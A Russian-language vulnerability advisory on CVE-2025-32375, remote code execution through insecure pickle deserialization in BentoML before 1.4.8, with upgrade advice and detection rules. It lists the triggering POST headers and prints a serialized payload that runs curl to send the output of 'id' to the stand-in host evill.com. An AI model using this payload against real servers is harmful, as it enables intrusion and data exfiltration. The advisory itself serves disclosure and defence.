CVE-2025-32375 — уязвимость небезопасной десериализации в BentoML, позволяющая выполнить произвольный код на сервере.
❗️ Уязвимы все версии до 1.4.8 — рекомендуем обновиться.
BentoML — это фреймворк для упаковки, деплоя и сервинга моделей машинного обучения.
Метрики 📈
Base Score: 9.8, критический
CWE: CWE-502
Детали уязвимости 🔎
Атака происходит с использованием
POST-запроса. Для запуска цепочки, проводящей к небезопасной десериализации, в запросе нужен заголовок args-number, значение которого равно 1. Еще в запросе должны быть дополнительные заголовки:Content-Type — может принимать разные значения, например: application/vnd.bentoml.pickled, application/x-www-form-urlencoded, application/octet-stream;Payload-Container — значение NdarrayContainer или andasDataFrameContainer;Payload-Meta — значение в формате json {"format": "default"};Batch-Size — значение в формате int.Полезная нагрузка
Полезная нагрузка — это сериализованный объект:
\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c0curl -X POST -d "$(id)" http://evill.com\x94\x85\x94R\x94
При десериализации она отправит вывод команды
id на удаленный сервер evill.com.Пример эксплуатации
👀 Злоумышленники запускают прослушивание порта на удаленном сервере, например, через netcat.
👀 С атакующего хоста запускается эксплойт.
👀 Ответ приходит на удаленный сервер.
Рекомендации по детектированию
1️⃣ Проверяем, что запрос отправлен методом
POST;2️⃣ Проверяем наличие всех заголовков;
3️⃣ Проверяем, что
args-number равен 1;4️⃣ Проверяем, что body является сериализованной строкой.
